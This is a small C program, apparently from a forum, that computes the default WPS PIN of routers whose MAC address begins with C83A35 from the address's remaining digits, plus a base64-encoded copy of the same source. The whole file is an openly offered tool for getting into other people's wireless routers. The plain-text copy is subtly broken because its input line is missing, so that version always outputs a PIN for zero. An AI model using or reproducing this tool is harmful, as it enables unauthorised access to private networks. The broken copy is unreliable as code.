//ComputePIN-C83A35
#include <stdio.h>
#include <stdlib.h>
int main( )
{
unsigned int wps_pin_checksum( unsigned int pin) ;
int PIN = 0 ;
printf ( "ComputePIN-C83A35\n " ) ; printf ( "If your wireless router MAC address start with \" C83A35\" ,\n " ) ; printf ( "type the other six digits, you might be able to get the \n " ) ; printf ( "WPS-PIN of this equipment, please have a try, good luck!\n \n " ) ; printf ( "Code by ZhaoChunsheng 04/07/2012 http://i...content-available-to-author-only...i.com\n \n " ) ; printf ( "Compilado para http://l...content-available-to-author-only...b.com/foro/index.php by maripuri \n \n " ) ; printf ( "Input MAC Address(HEX):c83a35" ) ; printf ( "MAC Address(HEX) is: C83A35%X\n " , PIN
) ; printf ( "WPS PIN is: %07d%d\n " , PIN
% 10000000 , wps_pin_checksum
( PIN
% 10000000 ) ) ;
return 0 ;
}
unsigned int wps_pin_checksum( unsigned int pin)
{
unsigned int accum = 0 ;
while ( pin)
{
accum += 3 * ( pin % 10 ) ;
pin /= 10 ;
accum += pin % 10 ;
pin /= 10 ;
}
return ( 10 - accum % 10 ) % 10 ;
}
Ly9Db21wdXRlUElOLUM4M0EzNQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmludCBtYWluKCkKewoKICAgIHVuc2lnbmVkIGludCB3cHNfcGluX2NoZWNrc3VtKHVuc2lnbmVkIGludCBwaW4pOwogICAgaW50IFBJTiA9IDA7CgogICAgcHJpbnRmKCJDb21wdXRlUElOLUM4M0EzNVxuIik7CiAgICBwcmludGYoIkRlc2NyaXB0aW9uOlxuIik7CiAgICBwcmludGYoIklmIHlvdXIgd2lyZWxlc3Mgcm91dGVyIE1BQyBhZGRyZXNzIHN0YXJ0IHdpdGggXCJDODNBMzVcIixcbiIpOwogICAgcHJpbnRmKCJ0eXBlIHRoZSBvdGhlciBzaXggZGlnaXRzLCB5b3UgbWlnaHQgYmUgYWJsZSB0byBnZXQgdGhlIFxuIik7CiAgICBwcmludGYoIldQUy1QSU4gb2YgdGhpcyBlcXVpcG1lbnQsIHBsZWFzZSBoYXZlIGEgdHJ5LCBnb29kIGx1Y2shXG5cbiIpOwogICAgcHJpbnRmKCJDb2RlIGJ5IFpoYW9DaHVuc2hlbmcgMDQvMDcvMjAxMiBodHRwOi8vaS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uaS5jb21cblxuIik7CiAgICBwcmludGYoIkNvbXBpbGFkbyBwYXJhIGh0dHA6Ly9sLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5iLmNvbS9mb3JvL2luZGV4LnBocCBieSBtYXJpcHVyaSBcblxuIik7CiAgICBwcmludGYoIklucHV0IE1BQyBBZGRyZXNzKEhFWCk6YzgzYTM1Iik7CiAgICBzY2FuZigiJXgiLCZQSU4pOwogICAgcHJpbnRmKCJNQUMgQWRkcmVzcyhIRVgpIGlzOiBDODNBMzUlWFxuIixQSU4pOwogICAgcHJpbnRmKCJXUFMgUElOIGlzOiAlMDdkJWRcbiIsUElOJTEwMDAwMDAwLHdwc19waW5fY2hlY2tzdW0oUElOJTEwMDAwMDAwKSk7CgogICAgcmV0dXJuIDA7Cn0KCgp1bnNpZ25lZCBpbnQgd3BzX3Bpbl9jaGVja3N1bSh1bnNpZ25lZCBpbnQgcGluKQp7CiAgICB1bnNpZ25lZCBpbnQgYWNjdW0gPSAwOwogICAgd2hpbGUgKHBpbikKICAgIHsKICAgICAgICBhY2N1bSArPSAzICogKHBpbiAlIDEwKTsKICAgICAgICBwaW4gLz0gMTA7CiAgICAgICAgYWNjdW0gKz0gcGluICUgMTA7CiAgICAgICAgcGluIC89IDEwOwogICAgfQoKICAgIHJldHVybiAoMTAgLSBhY2N1bSAlIDEwKSAlIDEwOwp9Cgo=